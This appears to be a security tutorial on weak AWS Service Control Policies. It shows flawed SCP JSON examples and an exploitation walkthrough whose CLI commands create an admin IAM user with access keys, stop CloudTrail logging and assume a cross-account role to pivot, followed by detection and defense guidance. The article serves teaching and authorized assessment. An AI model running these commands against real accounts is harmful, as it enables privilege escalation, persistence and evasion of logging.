Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
AWS Organizations lets a company centrally manage many AWS accounts under a single management account, arranged into Organizational Units (OUs). Service Control Policies (SCPs) are the guardrail mechanism layered on top: JSON policies attached to the root, an OU, or an individual account that define the *maximum available permissions* for every principal in that account — IAM users, roles, and even the account root user. An SCP never grants access by itself; it can only restrict what IAM policies inside the account are allowed to permit. Get an SCP wrong and you either lock legitimate workloads out, or — the more dangerous failure mode — leave a hole that lets a compromised or malicious principal disable logging, escalate privileges, or simply leave the organization entirely.
Because SCPs sit above every IAM policy in every member account, a single misconfigured SCP at a high-level OU can undermine security controls across dozens of accounts at once. Security teams often treat SCPs as a completed checkbox once *some* policy is attached, without verifying that the policy actually closes the gaps that matter — most commonly the ability to tamper with CloudTrail, manipulate IAM in ways that create a persistence path, or detach the SCP itself. This article walks through how SCP evaluation actually works, what a dangerously incomplete SCP looks like, and how to find and abuse the gap during an assessment.
Attack Prerequisites
Exploiting a weak SCP configuration assumes the attacker already has some foothold — SCPs are not a remote-code path, they are an escalation and persistence multiplier for an existing identity. Conditions typically needed:
- Valid AWS credentials in a member account (IAM user, role, or federated session) — via a leaked access key, an assumed role, SSRF into the instance metadata service, or a compromised CI/CD pipeline.
- An SCP hierarchy above that account that fails to explicitly deny the sensitive actions the attacker needs — e.g.
iam:CreateUser,iam:AttachUserPolicy,sts:AssumeRole,organizations:LeaveOrganization, orcloudtrail:StopLogging. - An identity-based (IAM) policy that already allows the action — remember SCPs only restrict; the account’s own IAM policies still have to grant the permission for it to actually be usable.
- Ideally, read access to
organizations:DescribePolicy/ListPoliciesForTarget, or just knowledge of the org’s public security baseline, to confirm which actions are actually blocked before attempting them.
How It Works
Every API call in a member account is evaluated against the union of applicable IAM policies (identity-based, resource-based, permission boundaries) intersected with the SCPs that apply to that account. SCPs attach to the Organizations root, then cascade down through OUs to individual accounts, and all SCPs in the chain from root to account must allow an action for it to even be *possible* — an explicit Deny at any level in the chain overrides any Allow below it. By default, AWS attaches an FullAWSAccess SCP to every OU and account that allows everything, so until an organization actually authors its own restrictive policies, SCPs impose no real limits at all.
Two evaluation patterns matter most for security review. First, allow-list SCPs: replace FullAWSAccess with an explicit Allow for only the services an account is permitted to use — anything not listed is implicitly denied. Second, and far more common, deny-list SCPs: keep FullAWSAccess attached and layer additional Deny statements on top for a short list of dangerous actions (disabling CloudTrail, deleting the account’s own GuardDuty detector, leaving the org, modifying the SCPs themselves). Deny-list SCPs are easier to write but trivially incomplete — anything the author forgot to deny is still fully permitted by IAM. Condition keys like aws:PrincipalOrgID are commonly used inside *resource* policies (S3 bucket policies, KMS key policies) to require that the caller belongs to the org, but that is a separate, complementary control from SCPs.
A critical exception: SCPs never apply to the management (payer) account — only to member accounts. They also cannot restrict service-linked roles by default, and if a Deny statement’s Condition block is written imprecisely (for example scoping aws:PrincipalArn to a specific role name that later gets recreated with a new ARN, or using NotAction instead of Action inside a Deny, which inverts the intended scope), the deny can silently stop applying to the very principals it was meant to restrict.
Vulnerable Code / Configuration
A common real-world SCP looks defensive at a glance but only denies a handful of destructive actions, leaving IAM privilege escalation and org-leave wide open:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyRegionLockOnly",
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "*",
"Condition": {
"StringNotEquals": { "aws:RequestedRegion": ["us-east-1", "us-west-2"] }
}
}
]
}
// This SCP restricts EC2 launches to two regions and does NOTHING else.
// iam:*, sts:AssumeRole, cloudtrail:StopLogging, and
// organizations:LeaveOrganization are all still permitted by the SCP layer
// -- if IAM policy in the account allows them, they will succeed.
JSONWorse, a second common bug is a Deny statement built with NotAction, which denies everything *except* the listed actions — the opposite of the intended “protect these specific actions” goal:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "IntendedToProtectLogging",
"Effect": "Deny",
"NotAction": ["cloudtrail:StopLogging", "cloudtrail:DeleteTrail"],
"Resource": "*"
}
]
}
// BUG: NotAction here denies every action EXCEPT StopLogging/DeleteTrail --
// the two dangerous actions the author meant to block are the ONLY ones
// left unrestricted by this statement. This SCP breaks the account (denies
// almost everything) while leaving the actual attack path open.
JSONA third gap: no SCP at all protecting the SCP-management actions themselves, so a principal with organizations:* in their IAM policy can simply detach or modify the restrictive SCP before proceeding.
Walkthrough / Exploitation
Start by enumerating what SCPs actually apply to the current account/identity, using the credentials already available from the initial foothold:
aws sts get-caller-identity
aws organizations list-policies-for-target \
--target-id <ACCOUNT_ID> --filter SERVICE_CONTROL_POLICY
aws organizations describe-policy --policy-id p-examplepolicyid123
BashConfirm what the SCP chain actually permits before trying anything, using the IAM policy simulator — it evaluates identity policy, resource policy, and SCP together for a target action:
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::123456789012:user/svc-app \
--action-names iam:CreateUser iam:AttachUserPolicy sts:AssumeRole \
cloudtrail:StopLogging organizations:LeaveOrganization
BashWhere the deny-list SCP from above leaves iam:* unrestricted, escalate by creating a new IAM user with an attached admin policy, or by attaching a policy to the current principal directly if permitted:
aws iam create-user --user-name svc-backup-2
aws iam attach-user-policy --user-name svc-backup-2 \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-backup-2
BashIf CloudTrail-tampering actions were left unrestricted, blind the account’s logging before further activity, then use the new admin identity to persist and pivot to other accounts in the org via cross-account role assumption:
aws cloudtrail stop-logging --name org-trail
aws sts assume-role \
--role-arn arn:aws:iam::222233334444:role/OrganizationAccountAccessRole \
--role-session-name pivot
BashNote: SCPs and permission boundaries are frequently confused: a permission boundary is an IAM feature limiting a single user or role, while an SCP is an Organizations feature limiting every principal in an account, including the root user. Both use the same ‘maximum permissions’ logic and both fail the same way when authored as an incomplete deny-list.
Opsec:
organizations:DescribePolicyandListPoliciesForTargetare read-only and low-noise, so reconnaissance of the SCP chain rarely trips alerts. The risky step is any actualiam:CreateUser/AttachUserPolicyorcloudtrail:StopLoggingcall, all of which are logged (if logging is still enabled at the time) and should be treated as loud, attributable actions during an authorized engagement.
Detection and Defense
Treat SCPs as allow-lists wherever operationally feasible, and always protect the controls that protect everything else:
- Deny the SCP-tamper and logging-tamper actions at the root OU, applying to every account including future ones:
organizations:LeaveOrganization,organizations:DetachPolicy,organizations:UpdatePolicy,cloudtrail:StopLogging,cloudtrail:DeleteTrail,cloudtrail:UpdateTrail,guardduty:DeleteDetector. - **Deny broad
iam:*in production/workload OUs** except for a narrow, explicitly listed set of actions needed by CI/CD or break-glass roles. - Audit SCPs for
NotActionusage insideDenystatements — this is almost always a bug, not an intentional design choice. - Monitor CloudTrail for
organizations:CreatePolicy,DetachPolicy,UpdatePolicy, andDisableAWSServiceAccessvia EventBridge rules feeding a SIEM, and alert on any SCP change outside a change-management window. - Use AWS Config rules and Access Analyzer for Organizations to continuously verify effective permissions rather than trusting the SCP document at a glance.
Real-World Impact
Weak or incomplete SCPs are one of the most common findings in AWS security assessments and cloud configuration reviews, precisely because organizations treat ‘we have SCPs’ as sufficient without verifying which specific actions they block. Because a gap at a high-level OU cascades to every account beneath it, a single missed deny statement can turn a single compromised low-privilege credential in one business unit into an organization-wide incident, including the ability to disable the very logging that would help responders reconstruct what happened.
Conclusion
SCPs are a powerful ceiling on what IAM can ever grant, but a ceiling with holes in it is not a ceiling. The durable defense is to explicitly deny the small set of actions that let an attacker escalate privilege, disable detection, or leave the organization — enforced at the root OU so no account can opt out — and to verify the effective permissions with the policy simulator and Access Analyzer rather than trusting that an SCP document does what its author intended.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments